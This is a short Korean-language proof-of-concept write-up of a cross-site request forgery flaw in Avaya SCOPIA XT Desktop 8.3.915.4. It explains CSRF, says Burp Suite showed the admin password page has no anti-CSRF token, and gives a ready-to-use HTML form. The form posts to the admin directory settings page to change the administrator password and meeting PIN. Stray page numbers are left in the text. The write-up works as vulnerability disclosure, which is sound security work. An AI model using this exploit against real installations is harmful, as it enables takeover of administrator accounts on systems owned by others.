
Avaya SCOPIA XT Desktop에서 사이트 간 요청 위조(CSRF)를 시연하는 개념 증명으로, anti-CSRF 토큰 없이 관리자 비밀번호 변경을 허용합니다.
이 PoC는 SCOPIA XT Desktop 버전 8.3.915.4에서 Cross-Site Request Forgery(CSRF)를 탐색하는 방법을 설명합니다.
웹사이트: https://support.avaya.com/products/P1421/scopia-desktop/8.2.1
사이트 간 요청 위조(Cross-site request forgery)는 원클릭 공격(one-click attack) 또는 세션 라이딩(session riding)이라고도 하며 CSRF 또는 XSRF로 축약됩니다. 이는 웹 애플리케이션이 신뢰하는 사용자로부터 승인되지 않은 명령이 전송되는 웹사이트의 악성 공격 유형입니다.
"Directory and Authentication" 페이지에서 관리자는 자신의 비밀번호를 변경할 수 있습니다.
Burp Suite로 요청을 캡처한 결과, CSRF 방지 토큰이 구현되어 있지 않았고 유일한 보안 메커니즘은 세션 쿠키뿐임을 확인할 수 있었습니다.
6
저는 제시된 취약점을 악용하기 위한 PoC로 이 HTML 파일을 만들었습니다.
<!DOCTYPE html>
<html>
<body>
<form method="POST" action="http://example.org:80/scopia/admin/directory_settings.jsp">
<input type="text" name="JSESSIONID" value="">
<input type="text" name="newadminusername" value="">
<input type="text" name="newadminpassword" value="3B09A36C1C32CF30EB8169F43227957C">
<input type="text" name="newenablext1000meetingpin" value="false">
<input type="text" name="newxt1000meetingpin" value="EB8169F43227957C">
<input type="text" name="checkstatus" value="true">
<input type="submit" value="Send">
</form>
</body>
</html>
SCOPIA XT Desktop 관리 환경에 유효한 쿠키가 있는 브라우저에서 이를 실행하면 admin 사용자의 비밀번호를 "attacker"로 변경할 수 있었습니다.
4
5